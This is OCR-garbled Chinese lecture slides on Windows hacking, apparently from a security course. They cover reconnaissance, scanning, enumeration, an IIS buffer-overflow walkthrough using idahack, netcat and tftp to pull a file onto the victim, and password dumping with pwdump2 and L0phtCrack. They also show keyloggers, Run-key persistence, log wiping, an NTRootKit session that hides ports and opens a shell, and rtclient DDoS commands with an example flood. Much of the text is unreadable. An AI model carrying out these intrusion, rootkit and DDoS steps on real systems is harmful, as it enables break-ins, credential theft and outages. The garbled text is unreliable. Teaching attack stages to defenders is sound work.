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Whois

= InterNIC

= TWNIC(http://www.twnic.net/)
= NetworkSolutions

AR T2

DNS zone transfer

= nslookup

= traceroute or tracert




\i 2. B Tools

Ping

Nmap

SuperScan

Advanced ip scanner
Advanced port scanner
Icmpenum

NetScan Tool Pro 2000
Netcat

Strobe

ﬂiaﬁgﬂﬁ

= Net view, nbtstat, nbtscan, nltest,
Legion,...
o fERF R ERE
= hbtscan
= Nbtstat, enum
s I EARZ K
= telnet,vnc,terminal service,pcanywhere
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= PIET H Y T B Hks5HEE(banner grabbing)
» FETHAY T FZE R4t (OS guessing)
= DNSIEIZEFL

= Windows g1~ NetBIOS#4 i 52 DC

= WindowsHHEd &+t > Alluser ~ group ~ ifg-REE
EARIE -

§$4%ﬁ3ﬁ=mﬁ@&ﬁm

n A AE A
" ARRENES
= NTIS( % & % #5)
« administrator, adm , test....
= FELEGE
= SMBCrack
= Legion, NetBIOS Audition Tool,...
= 4EEKBLHE
= Cain
n 4187 @ % 43 (Buffer Overflow) s %
« IIS
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2.

© N o u

T B : tftpd32, idahack, nc, whoami

S

Start tftpd32

EAGLITFOMK 0 B 97#4 Ridahacksr & B
# A " idahack sk s B AZIP sk B A2 2 IS port sk # 8 420S
version{X 2% kB Bk 2 38 3 port

Nc sz # B 42IP dyidahacksr B & 2 port
Ipconfig /all /* #k32 4 % pi.oh */

Cd\

Tftp -1 % % 5% #HOST = IP get whoami.exe
Whoami /* #k32 B 376445 A ZEE */

. RFHER

\is

Gt
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FS R AR T H

= Tools: pwdump2, LOphtCrack, John

HEHE P I B A

= getadmin, Sechole

AR RGOSR

= Keylogger

To find Protected Storage Service

= including gasswords for e-mail accounts in
Microsoft Outlook, Microsoft Outlook Express,
EI/IStN Messenger, saved Internet Explorer form

ata .

= Protected Storage Explorer
= Protected storage passview
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= HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio
n,

\Run, \RunOnce, \RunOnceEx, \RunServices
m IRIHIE R

= Telnet service

= VNC, Terminal services,pcanywhere




\,L 8. & A ~ HRBH

= [ P FE#
= ALK
» Elsave, ClearLogs, ClearllIsLog
n EEAER
= Attrib
s [Z# ZNTFS file streaming : sfind
» Win2k £ 3% > WinXP, Win2003°R % 4%
= LNS : List NTFS Streams

= {f Arootkit

\i f& A rootkit

m Tool :NTRootKit

= EHE & R port 0 THERIEE -
netstat —an &A% o

m 7] 3 47DDOSL #




\,L NTRootKit ¥ # &+

Victim:202.132.10.1
Attracker:131.107.100.10

TEHGT R S (Victim ) B Tntrootkit
FES R BT nc 202.132.10.1 445
INPASSWORD yyt_hac111

HIFRFAE. © Welcome to yyt_hac's ntrootkit Server 1.22 version,use "?'
command to get command list

CMD>?

CMD>getsysinfo

CMD>hidetcpport 135 F&5 TCP port 135
CMD>hideudpport 135 :F&5 UDP port 135
CMD>openshell

C:\>dir

C:\>exit

CMD>exit

HFRERE, © exit successfully

\i T # 4 2 check

Netstat —an

& A fportsActive port

m 5 TCP ~ UDP 135%& & BBk

1% A T4F % 32 8 K Taskinfo

m 5 2 % #arntrootkit#2 &

EREBIFE & T8RRI B




\,L # Fntrootkit #47DDOSz %

= Uusage:rtclient destlp [ p assword] [-t proto] [-0 port] [y
icmp_type] [-d icmp_code] [-m MTU] [-c Command]

= destip-------------The computer you want to connect
= passwort --The ntrootkit's password
= proto- -The proto that ntrootkit will use(0:userdefined, 1:icmp,2:udp,3:tcp)
= port- he dest udp or tcp port which send packet to(default is 445
= MTU- -The MAX packet size the ntrootkit will use to send packet
= icmp_type- --The icmp packet type which send to server,default is ICMP_ECHO REPLY
= The icmp packet code which send to server,default is 0
= Command-- -The command which you want the server to do
= The DDos command usage:DDOS DDos_Destip [DDos_Destport DDos_type DDos_seconds DDos_ProcCount]
= DDos_Destip-------- The computer you want to DDos
= DDos Destpo -The Destport you want to DDos(default is 445)
= DDos_type--- he DDos type you want to use(0:ping flood,1:udp flood,2:synflood,3:mstream flood,default is 0)
= DDos_seconds: -The seconds you want to DDos the dest(default is 150s)
= DDos_ProcCount-----The process count which the server use to ddos(default is 10)
= Example:

. 3rt8(|)le2n(§ 202.132.10.1 -p yyt_hac -t 1 -c ddos 202.132.10.1 139 2

\ig.ﬁ&a:ﬁ%

= [FRLETARES
= SYN Flood
= IP Spoofing
= DDOS
n FRAR AR

= Tools

= Ping of death - land - teardrop - mailbomb -~ spam
mail
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